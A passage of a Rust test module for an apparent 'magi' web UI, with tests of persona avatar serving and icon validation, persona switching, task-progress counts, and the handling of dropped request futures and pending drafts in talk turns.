15151            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15152            assert_eq!(
15153                (status, ct.as_str(), csp),
15154                (StatusCode::OK, "image/svg+xml", true),
15155                "{p}"
15156            );
15157            assert!(body.starts_with(b"<svg"), "{p}");
15158        }
15159        // The page's own retry skips the icon.
15160        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15161        assert_eq!(ct, "image/svg+xml");
15162    }
15163
15164    #[tokio::test]
15165    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15166        let oversized = format!(
15167            "data:image/png;base64,{}",
15168            "A".repeat(persona_icon::ICON_MAX_BYTES)
15169        );
15170        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15171            let extra = format!(
15172                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15173            );
15174            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15175            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15176                .await
15177                .expect("detail with invalid icon");
15178            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15179            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15180            assert_eq!(status, StatusCode::OK);
15181            assert_eq!(ct, "image/svg+xml");
15182            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15183            let Json(view) = talk_persona(
15184                State(Arc::clone(&ui)),
15185                Path(id.clone()),
15186                Json(TalkPersona {
15187                    persona: "custom".into(),
15188                }),
15189            )
15190            .await
15191            .expect("persona switch with invalid icon");
15192            assert_eq!(view.talk.persona, "custom");
15193            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15194        }
15195    }
15196
15197    #[tokio::test]
15198    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15199        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15200        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15201        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15202        assert_eq!(
15203            (status, ct.as_str(), nosniff, csp),
15204            (StatusCode::OK, "image/svg+xml", true, true)
15205        );
15206    }
15207
15208    #[tokio::test]
15209    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15210        let (_t, _h, ui, id, _repo) =
15211            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15212        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15213            .await
15214            .expect("detail");
15215        let json = serde_json::to_string(&detail).unwrap();
15216        assert!(
15217            !json.contains("secret"),
15218            "the icon setting must not leak: {json}"
15219        );
15220        assert!(
15221            detail
15222                .view
15223                .persona_avatar
15224                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15225        );
15226        assert_eq!(
15227            detail.view.operator_avatar,
15228            format!(
15229                "/avatars/operator.svg?v={}",
15230                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15231            )
15232        );
15233        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15234        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15235        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15236        assert!(rei.avatar.contains("persona=rei&v="));
15237        assert_ne!(
15238            rei.avatar.split("&v=").nth(1),
15239            plain.avatar.split("&v=").nth(1)
15240        );
15241    }
15242
15243    #[tokio::test]
15244    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15245        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15246        let cfg = config_for(&repo).await.unwrap();
15247        for arrived in [false, true] {
15248            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15249            let observed = ui.queued_generation(&id);
15250            let talk = ui.talks.get(&id).unwrap();
15251            if arrived {
15252                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15253            }
15254            let mut settling = std::pin::pin!(settle_settings_turn(
15255                talk,
15256                ui.talks.clone(),
15257                cfg.clone(),
15258                id.clone(),
15259                turn,
15260                observed
15261            ));
15262            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15263            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15264            assert_eq!(first.is_pending(), arrived);
15265            if arrived {
15266                assert!(!settling.await);
15267            }
15268            assert!(!ui.is_thinking(&id));
15269        }
15270    }
15271
15272    #[tokio::test]
15273    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15274        let tmp = TempDir::new().expect("tempdir");
15275        let repo = tmp.path().join("repo");
15276        std::fs::create_dir_all(&repo).expect("repo dir");
15277        std::fs::write(
15278            repo.join("magi.toml"),
15279            format!(
15280                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15281            ),
15282        )
15283        .expect("write magi.toml");
15284        let home = TempDir::new().expect("temp home");
15285        let talks = Talks::at(home.path().join("talks"));
15286        let ui = Arc::new(
15287            Ui::new(
15288                Queue::at(home.path().join("queue")),
15289                Questions::at(home.path().join("questions")),
15290                talks.clone(),
15291                home.path().join("runs"),
15292                home.path().to_path_buf(),
15293                repo.clone(),
15294            )
15295            .with_worktrees_root(home.path().join("wt")),
15296        );
15297        let cfg = config_for(&repo).await.expect("discover config");
15298        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15299        let id = talk.id.clone();
15300        let call = |persona: &str| {
15301            talk_persona(
15302                State(Arc::clone(&ui)),
15303                Path(id.clone()),
15304                Json(TalkPersona {
15305                    persona: persona.to_owned(),
15306                }),
15307            )
15308        };
15309
15310        let unknown = call("nobody").await.expect_err("unknown persona");
15311        assert_eq!(
15312            unknown.status,
15313            StatusCode::BAD_REQUEST,
15314            "{}",
15315            unknown.message
15316        );
15317
15318        {
15319            // Nothing refused so far took a claim, so the guard is free to take
15320            // and holding it is what makes the talk busy.
15321            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15322            let busy = call("rei").await.expect_err("busy talk");
15323            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15324            assert!(
15325                busy.message.contains("a talk turn is running"),
15326                "{}",
15327                busy.message
15328            );
15329            drop(guard);
15330        }
15331        assert_eq!(talks.get(&id).expect("reload").persona, "");
15332
15333        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15334        assert_eq!(view.talk.persona, "gendo");
15335        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15336        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15337        // No intervening I/O or sleep may be needed before another change.
15338        for chosen in ["default", "gendo", "rei", "gendo"] {
15339            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15340            assert!(!view.thinking);
15341            assert!(!ui.is_thinking(&id));
15342        }
15343
15344        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15345            .await
15346            .expect("detail");
15347        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15348        assert_eq!(ids.first(), Some(&"default"));
15349        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15350
15351        let Json(view) = call("default").await.expect("back to default");
15352        assert_eq!(view.talk.persona, "");
15353
15354        let mut closed = talks.get(&id).expect("reload");
15355        talk::close(&mut closed, &talks).expect("close");
15356        let refused = call("rei").await.expect_err("closed talk");
15357        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15358        assert!(
15359            refused.message.contains("takes no more turns"),
15360            "{}",
15361            refused.message
15362        );
15363    }
15364
15365    #[tokio::test]
15366    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15367        let f = Fixture::start().await;
15368        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15369        let queue = f.queue();
15370        let mut mine = Task::new(
15371            "rename the loader".to_owned(),
15372            "rename the loader".to_owned(),
15373            PathBuf::from("/repo/magi"),
15374            Source::Agent {
15375                run: talk_id.clone(),
15376                node: "chat".to_owned(),
15377            },
15378        );
15379        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15380        assert_eq!(empty["task_progress"]["state"], "none");
15381        assert_eq!(empty["task_progress"]["total"], 0);
15382        queue.put(&mut mine).expect("file the task");
15383        let mut theirs = Task::new(
15384            "unrelated".to_owned(),
15385            "unrelated".to_owned(),
15386            PathBuf::from("/repo/magi"),
15387            Source::Human,
15388        );
15389        // A later task linked through origin_chat alone is outside this list.
15390        theirs.origin_chat = Some(talk_id.clone());
15391        queue.put(&mut theirs).expect("file the task");
15392
15393        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15394        assert_eq!(res.status, 200, "{}", res.body);
15395        let body = res.json();
15396        assert_eq!(
15397            body["status"], "open",
15398            "filing a task does not close a talk"
15399        );
15400        let tasks = body["tasks"].as_array().expect("tasks array");
15401        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15402        assert_eq!(tasks[0]["id"], mine.id);
15403        for status in [
15404            TaskStatus::Queued,
15405            TaskStatus::Running,
15406            TaskStatus::Held,
15407            TaskStatus::Failed,
15408            TaskStatus::Blocked,
15409            TaskStatus::Parked,
15410            TaskStatus::Done,
15411            TaskStatus::Queued,
15412        ] {
15413            mine.status = status;
15414            queue.put(&mut mine).expect("update status");
15415            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15416            let progress = &detail["task_progress"];
15417            assert_eq!(progress["total"], 1);
15418            assert_eq!(progress["counts"][status.as_str()], 1);
15419            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15420            assert_eq!(detail["status"], "open", "completion never closes the chat");
15421            if status == TaskStatus::Done {
15422                assert_eq!(progress["state"], "complete");
15423                assert_eq!(progress["done"], 1);
15424                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15425            } else {
15426                assert_eq!(progress["state"], "incomplete");
15427                assert_eq!(progress["done"], 0);
15428                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15429            }
15430        }
15431    }
15432
15433    #[test]
15434    fn talk_task_progress_counts_mixed_statuses() {
15435        let mut tasks: Vec<_> = [
15436            TaskStatus::Queued,
15437            TaskStatus::Running,
15438            TaskStatus::Held,
15439            TaskStatus::Failed,
15440            TaskStatus::Blocked,
15441            TaskStatus::Parked,
15442            TaskStatus::Done,
15443        ]
15444        .into_iter()
15445        .map(|status| {
15446            let mut task = Task::new(
15447                "task".into(),
15448                "task".into(),
15449                PathBuf::from("/repo"),
15450                Source::Human,
15451            );
15452            task.status = status;
15453            task
15454        })
15455        .collect();
15456        let progress = talk_task_progress(&tasks);
15457        assert_eq!(progress.state, "incomplete");
15458        assert_eq!(progress.total, 7);
15459        assert_eq!(progress.done, 1);
15460        assert_eq!(progress.unfinished_ids.len(), 6);
15461        assert!(progress.counts.values().all(|count| *count == 1));
15462        assert_eq!(
15463            progress.unfinished_ids,
15464            tasks[..6]
15465                .iter()
15466                .map(|task| task.id.clone())
15467                .collect::<Vec<_>>()
15468        );
15469
15470        for task in &mut tasks {
15471            task.status = TaskStatus::Done;
15472        }
15473        let complete = talk_task_progress(&tasks);
15474        assert_eq!(complete.state, "complete");
15475        assert_eq!(complete.done, 7);
15476        assert!(complete.unfinished_ids.is_empty());
15477        tasks[0].status = TaskStatus::Queued;
15478        let requeued = talk_task_progress(&tasks);
15479        assert_eq!(requeued.state, "incomplete");
15480        assert_eq!(requeued.done, 6);
15481        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15482
15483        let empty = talk_task_progress(&[]);
15484        assert_eq!(empty.state, "none");
15485        assert_eq!(empty.total, 0);
15486        assert_eq!(empty.done, 0);
15487        assert!(empty.unfinished_ids.is_empty());
15488        assert!(empty.counts.values().all(|count| *count == 0));
15489    }
15490
15491    #[tokio::test]
15492    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15493        let (_tmp, _repo, f) = talk_fixture().await;
15494        let id = f.post("/api/talks", None).await.json()["id"]
15495            .as_str()
15496            .expect("id")
15497            .to_owned();
15498
15499        let res = f
15500            .post(
15501                &format!("/api/talks/{id}/say"),
15502                Some(r#"{"text":"what does the queue module do?"}"#),
15503            )
15504            .await;
15505        assert_eq!(res.status, 202, "{}", res.body);
15506        let queued = res.json();
15507        let turns = queued["turns"].as_array().expect("turns array");
15508        assert_eq!(
15509            turns.len(),
15510            1,
15511            "the answer reflects only what is on disk the instant it is sent, \
15512             before the agent's turn - which can run for the whole of \
15513             `[graph] timeout_talk` - has a chance to land: {queued}"
15514        );
15515        assert_eq!(turns[0]["who"], "operator");
15516        assert_eq!(turns[0]["body"], "what does the queue module do?");
15517        assert_eq!(
15518            queued["thinking"], true,
15519            "the accepted response exposes the background turn claim: {queued}"
15520        );
15521
15522        let mut turns_after = 1;
15523        for _ in 0..SETTLE_STEPS {
15524            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15525            turns_after = detail["turns"].as_array().expect("turns array").len();
15526            if turns_after == 2 {
15527                break;
15528            }
15529            tokio::time::sleep(Duration::from_millis(10)).await;
15530        }
15531        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15532    }
15533
15534    /// A phone that reloads mid-request drops `talk_say`'s whole handler
15535    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
15536    /// guards against: `talk::record` used to return, and only *then* did the
15537    /// handler make a second, separate disk round trip before spawning the
15538    /// agent's reply task. A future dropped in that gap left a message
15539    /// recorded on disk with no reply task ever started and no way back short
15540    /// of a fresh message - and the gap was not even the whole story: *any*
15541    /// `.await` in this handler, including the very first one, is a point
15542    /// where a drop can land after the awaited work already finished but
15543    /// before this handler's own code resumes to act on it. `record` now
15544    /// runs inside the task `tokio::spawn` hands to the runtime before this
15545    /// handler ever awaits anything of its own again, so there is nothing
15546    /// left in *this* handler's future for a disconnect to interrupt between
15547    /// the message landing on disk and the reply task starting.
15548    ///
15549    /// A real socket disconnect cannot be relied on to land in the old gap
15550    /// from a test - over loopback, `talk_say` typically finishes before the
15551    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
15552    /// same failure mode directly: it drops the task's future at whatever
15553    /// point it has reached, exactly what axum does to the handler future,
15554    /// without needing to win a real network race. Sweeping the delay before
15555    /// aborting samples a range of points the task's execution can be at,
15556    /// including where the old code sat waiting on its second disk round
15557    /// trip - confirmed by reverting this fix locally and watching this same
15558    /// sweep catch a talk stuck with the operator's turn recorded and no
15559    /// reply ever following.
15560    #[tokio::test]
15561    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15562        let tmp = TempDir::new().expect("tempdir");
15563        let repo = tmp.path().join("repo");
15564        std::fs::create_dir_all(&repo).expect("repo dir");
15565        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15566        let home = TempDir::new().expect("temp home");
15567        let talks = Talks::at(home.path().join("talks"));
15568        let ui = Arc::new(
15569            Ui::new(
15570                Queue::at(home.path().join("queue")),
15571                Questions::at(home.path().join("questions")),
15572                talks.clone(),
15573                home.path().join("runs"),
15574                home.path().to_path_buf(),
15575                repo.clone(),
15576            )
15577            .with_worktrees_root(home.path().join("wt")),
15578        );
15579        let cfg = config_for(&repo).await.expect("discover config");
15580
15581        for delay in 0..40u32 {
15582            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15583            let id = talk.id.clone();
15584
15585            let handler = tokio::spawn(talk_say(
15586                State(Arc::clone(&ui)),
15587                Path(id.clone()),
15588                Ok(Json(NewTalkTurn {
15589                    reply_to: None,
15590                    text: "what does the queue module do?".to_owned(),
15591                    attachments: Vec::new(),
15592                })),
15593            ));
15594            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15595            handler.abort();
15596            // Wait out the abort so the next iteration's talk does not race
15597            // this one's still-unwinding turn guard.
15598            let _ = handler.await;
15599
15600            let mut turns = 0;
15601            for _ in 0..SETTLE_STEPS {
15602                if let Ok(fresh) = talks.get(&id) {
15603                    turns = fresh.turns.len();
15604                    if turns != 1 {
15605                        break;
15606                    }
15607                }
15608                tokio::time::sleep(Duration::from_millis(10)).await;
15609            }
15610            assert_ne!(
15611                turns, 1,
15612                "delay {delay}: talk {id} recorded the operator's turn but \
15613                 the agent never answered - the reply task was never \
15614                 started after the handler future was dropped"
15615            );
15616        }
15617    }
15618
15619    /// The same drop, landing on `talk_say`'s other durable write.
15620    ///
15621    /// When a turn is already running, the busy branch persists the
15622    /// operator's text as a queued draft and then reclaims the turn slot if
15623    /// the holder gave it up in the meantime - and whoever reclaims owes that
15624    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
15625    /// which finishes whether or not the future awaiting it is still there,
15626    /// so a handler dropped at that `.await` used to leave the draft written
15627    /// to disk with the reclaimed guard dropped unread and no drainer ever
15628    /// started: the message sat queued until some unrelated later `say`
15629    /// happened to pick it up.
15630    ///
15631    /// This used to drive the handler future by hand, polling it a fixed
15632    /// number of times to park it at the `.await` where it asks for the turn
15633    /// and finds it busy, before the reclaim's slot-free case could be set up
15634    /// underneath it. That assumed a fixed number of polls lands at a fixed
15635    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
15636    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
15637    /// poll, so any number of this handler's several `blocking` awaits can
15638    /// collapse into one poll under load, landing the drive somewhere other
15639    /// than intended - including, occasionally, straight past the handler's
15640    /// own completion, which made polling it again panic with "async fn
15641    /// resumed after completion". No poll count fixes that; the handler's
15642    /// progress simply is not something a caller outside it can observe by
15643    /// counting.
15644    ///
15645    /// [`BusyQueueGate`] replaces the poll count with a real stop point
15646    /// inside the write itself, so the interleaving under test is pinned by
15647    /// an event instead of a guess: the gate fires only once the handler has
15648    /// actually decided `Busy` and is about to persist the draft, and it
15649    /// blocks that write until the test lets it through. Between those two
15650    /// moments the test drains the turn the handler found busy - through
15651    /// `drain_loop`, the protocol's other half - and then aborts the handler
15652    /// task outright, the same way axum drops a disconnected request's
15653    /// future. The write, and the reclaim it may do, run to completion
15654    /// regardless: they live in the `tokio::spawn` task the busy branch hands
15655    /// to the runtime before ever touching the gate, wholly independent of
15656    /// whether the handler that started it is still around - which is what
15657    /// this test is actually checking. A drainer other than that reclaim
15658    /// cannot exist here: the test's own `drain_loop` call happens before the
15659    /// gate opens, so it runs while the queue is still empty and hands the
15660    /// turn straight back rather than draining anything, closing off the
15661    /// possibility of the final assertion passing without the reclaim ever
15662    /// having done its job.
15663    #[tokio::test]
15664    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15665        let tmp = TempDir::new().expect("tempdir");
15666        let repo = tmp.path().join("repo");
15667        std::fs::create_dir_all(&repo).expect("repo dir");
15668        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15669        let home = TempDir::new().expect("temp home");
15670        let talks = Talks::at(home.path().join("talks"));
15671        let ui = Arc::new(
15672            Ui::new(
15673                Queue::at(home.path().join("queue")),
15674                Questions::at(home.path().join("questions")),
15675                talks.clone(),
15676                home.path().join("runs"),
15677                home.path().to_path_buf(),
15678                repo.clone(),
15679            )
15680            .with_worktrees_root(home.path().join("wt")),
15681        );
15682        let cfg = config_for(&repo).await.expect("discover config");
15683
15684        for attempt in 0..3u32 {
15685            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15686            let id = talk.id.clone();
15687            // A turn is already running, which is what sends `talk_say` down
15688            // the busy branch.
15689            let turn_guard = ui
15690                .begin_talk_turn(&id)
15691                .expect("claim the turn")
15692                .expect("a fresh talk owes nobody a turn");
15693
15694            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15695            let (release_tx, release_rx) = std::sync::mpsc::channel();
15696            ui.set_busy_queue_gate(BusyQueueGate {
15697                reached: reached_tx,
15698                release: release_rx,
15699            });
15700
15701            let handler = tokio::spawn(talk_say(
15702                State(Arc::clone(&ui)),
15703                Path(id.clone()),
15704                Ok(Json(NewTalkTurn {
15705                    reply_to: None,
15706                    text: "what does the queue module do?".to_owned(),
15707                    attachments: Vec::new(),
15708                })),
15709            ));
15710
15711            // Wait for the busy branch to actually reach the gate, rather
15712            // than for any fixed number of polls of anything - a bounded
15713            // wait rather than a bare `.await` so a regression that never
15714            // reaches the gate fails the test instead of hanging it.
15715            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15716                .await
15717                .unwrap_or_else(|_| {
15718                    panic!(
15719                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15720                    )
15721                })
15722                .expect("the busy branch dropped the gate without using it");
15723            assert!(
15724                crate::consult::try_publication_guard(&talks, &id)
15725                    .expect("publication fence")
15726                    .is_none(),
15727                "a queued worker cannot promote text before its successor reservation is published"
15728            );
15729
15730            // A listener replacement queues its writer behind this accepted
15731            // mutation. Even disconnecting the HTTP caller must not release
15732            // admission before the write-to-worker handoff has completed.
15733            let closing = Arc::clone(&ui.admissions).write_owned();
15734            tokio::pin!(closing);
15735            std::future::poll_fn(|cx| {
15736                assert!(closing.as_mut().poll(cx).is_pending());
15737                std::task::Poll::Ready(())
15738            })
15739            .await;
15740            assert!(
15741                ui.begin_admission().is_err(),
15742                "replacement blocks later admissions"
15743            );
15744
15745            // The turn that was running now finishes and gives the slot up
15746            // the way a real one does - through `drain_loop`, which finds
15747            // nothing queued yet (the write is still held at the gate) and
15748            // releases. The handler, parked inside `spawn_blocking` on the
15749            // other side of the gate, still believes the talk is busy -
15750            // exactly the interleaving the reclaim exists for.
15751            let running = talks.get(&id).expect("reload talk");
15752            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15753
15754            // Drop the handler future now, the way a reloading phone drops
15755            // it: suspended waiting on the busy branch's answer, having
15756            // itself made no more progress since it handed the write off.
15757            handler.abort();
15758            let _ = handler.await;
15759            std::future::poll_fn(|cx| {
15760                assert!(
15761                    closing.as_mut().poll(cx).is_pending(),
15762                    "HTTP cancellation must not abandon a publishing transaction"
15763                );
15764                std::task::Poll::Ready(())
15765            })
15766            .await;
15767            assert!(
15768                crate::consult::try_publication_guard(&talks, &id)
15769                    .expect("publication fence after disconnect")
15770                    .is_none()
15771            );
15772
15773            // Only now let the gated write proceed. It persists the draft
15774            // and reclaims the now-free slot from inside the task the busy
15775            // branch already spawned - unaffected by the handler's abort
15776            // above, since that task was independent of the handler's own
15777            // future from the moment it was spawned.
15778            let _ = release_tx.send(());
15779            drop(
15780                tokio::time::timeout(Duration::from_secs(5), closing)
15781                    .await
15782                    .expect("short admission transaction should release for replacement"),
15783            );
15784            assert!(
15785                crate::consult::try_publication_guard(&talks, &id)
15786                    .expect("publication fence after acknowledgement")
15787                    .is_some(),
15788                "the publication fence is not retained by the long response"
15789            );
15790
15791            // A settled talk: the draft drained into an operator turn and
15792            // answered.
15793            let mut fresh = talks.get(&id).expect("reload talk");
15794            for _ in 0..SETTLE_STEPS {
15795                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15796                    break;
15797                }
15798                tokio::time::sleep(Duration::from_millis(10)).await;
15799                fresh = talks.get(&id).expect("reload talk");
15800            }
15801            assert!(
15802                fresh.pending.is_empty() && fresh.turns.len() == 2,
15803                "attempt {attempt}: talk {id} left the operator's text queued \
15804                 with no drainer - the reclaimed turn was dropped along with \
15805                 the handler future (pending {:?}, {} turns)",
15806                fresh.pending,
15807                fresh.turns.len()
15808            );
15809        }
15810    }
15811
15812    #[tokio::test]
15813    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15814        let (_tmp, _repo, f) = talk_fixture().await;
15815        let id = f.post("/api/talks", None).await.json()["id"]
15816            .as_str()
15817            .expect("id")
15818            .to_owned();
15819        let store = f.talks();
15820        let mut recovered = store.get(&id).expect("opened talk");
15821        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15822            .expect("persist pending draft without a live turn");
15823
15824        let edited = f
15825            .post(
15826                &format!("/api/talks/{id}/pending/edit"),
15827                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15828            )
15829            .await;
15830        assert_eq!(edited.status, 200, "{}", edited.body);
15831        assert!(edited.json()["thinking"].as_bool().unwrap());
15832
15833        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15834        for _ in 0..SETTLE_STEPS {
15835            if detail["turns"].as_array().expect("turns").len() == 2 {
15836                break;
15837            }
15838            tokio::time::sleep(Duration::from_millis(10)).await;
15839            detail = f.get(&format!("/api/talks/{id}")).await.json();
15840        }
15841        let turns = detail["turns"].as_array().expect("turns");
15842        assert_eq!(
15843            turns.len(),
15844            2,
15845            "the recovered draft must run once: {detail}"
15846        );
15847        assert_eq!(turns[0]["body"], "corrected");
15848        assert_eq!(detail["pending"], "");
15849    }
15850
15851    #[tokio::test]
15852    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15853        let tmp = TempDir::new().expect("tempdir");
15854        let repo = tmp.path().join("repo");
15855        std::fs::create_dir_all(&repo).expect("repo dir");
15856        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15857        let f = Fixture::with_repo(repo).await;
15858        let id = f.post("/api/talks", None).await.json()["id"]
15859            .as_str()
15860            .expect("id")
15861            .to_owned();
15862        let store = f.talks();
15863        let mut recovered = store.get(&id).expect("opened talk");
15864        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15865            .expect("persist pending draft without a live turn");
15866
15867        let refused = f
15868            .post(
15869                &format!("/api/talks/{id}/say"),
15870                Some(r#"{"text":"new message"}"#),
15871            )
15872            .await;
15873        assert_eq!(refused.status, 409, "{}", refused.body);
15874        assert!(refused.body.contains("resume"), "{}", refused.body);
15875        let saved = store.get(&id).expect("draft remains after refusal");
15876        assert!(saved.turns.is_empty());
15877        assert_eq!(saved.pending, "saved before restart");
15878
15879        let say_path = format!("/api/talks/{id}/say");
15880        let (first, second) = tokio::join!(
15881            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15882            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15883        );
15884        assert_eq!(first.status, 409, "{}", first.body);
15885        assert_eq!(second.status, 409, "{}", second.body);
15886        let saved = store
15887            .get(&id)
15888            .expect("draft remains after concurrent refusals");
15889        assert!(saved.turns.is_empty());
15890        assert_eq!(saved.pending, "saved before restart");
15891
15892        let resumed = f
15893            .post(&format!("/api/talks/{id}/pending/resume"), None)
15894            .await;
15895        assert_eq!(resumed.status, 202, "{}", resumed.body);
15896        let duplicate = f
15897            .post(&format!("/api/talks/{id}/pending/resume"), None)
15898            .await;
15899        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15900
15901        for _ in 0..SETTLE_STEPS {
15902            if store.get(&id).expect("talk").turns.len() == 2 {
15903                break;
15904            }
15905            tokio::time::sleep(Duration::from_millis(10)).await;
15906        }
15907        let finished = store.get(&id).expect("finished talk");
15908        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15909        assert_eq!(finished.turns[0].body, "saved before restart");
15910        assert!(finished.pending.is_empty());
15911    }
15912
15913    #[tokio::test]
15914    async fn an_image_only_recovered_draft_resumes_without_text() {
15915        let (_tmp, _repo, f) = talk_fixture().await;
15916        let id = f.post("/api/talks", None).await.json()["id"]
15917            .as_str()
15918            .expect("id")
15919            .to_owned();
15920        let uploaded = f
15921            .post_bytes(
15922                &format!("/api/talks/{id}/attachments"),
15923                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15924                PNG_BYTES,
15925            )
15926            .await;
15927        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15928        let attachment = f
15929            .talks()
15930            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15931            .expect("attachment metadata")
15932            .expect("stored attachment");
15933        let store = f.talks();
15934        let mut recovered = store.get(&id).expect("opened talk");
15935        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15936
15937        let resumed = f
15938            .post(&format!("/api/talks/{id}/pending/resume"), None)
15939            .await;
15940        assert_eq!(resumed.status, 202, "{}", resumed.body);
15941        for _ in 0..SETTLE_STEPS {
15942            if store.get(&id).expect("talk").turns.len() == 2 {
15943                break;
15944            }
15945            tokio::time::sleep(Duration::from_millis(10)).await;
15946        }
15947        let finished = store.get(&id).expect("finished talk");
15948        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15949        assert!(finished.turns[0].body.is_empty());
15950        assert_eq!(finished.turns[0].attachments.len(), 1);
15951        assert!(finished.pending_attachments.is_empty());
15952    }
15953
15954    #[tokio::test]
15955    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15956        let (_tmp, _repo, f) = talk_fixture().await;
15957        let id = f.post("/api/talks", None).await.json()["id"]
15958            .as_str()
15959            .expect("id")
15960            .to_owned();
15961        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15962        assert_eq!(closed.status, 200, "{}", closed.body);
15963        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15964            .expect("serialize closed talk");
15965        for (path, body) in [
15966            (format!("/api/talks/{id}/pending/resume"), None),
15967            (
15968                format!("/api/talks/{id}/pending/clear"),
15969                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15970            ),
15971            (
15972                format!("/api/talks/{id}/pending/edit"),
15973                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15974            ),
15975            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15976        ] {
15977            let response = f.post(&path, body).await;
15978            assert_eq!(response.status, 409, "{}", response.body);
15979        }
15980        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15981            .expect("serialize closed talk");
15982        assert_eq!(
15983            after_clear, before_clear,
15984            "clear must not rewrite a closed talk"
15985        );
15986    }
15987
15988    /// Keeps both claims observable long enough to exercise the distinction
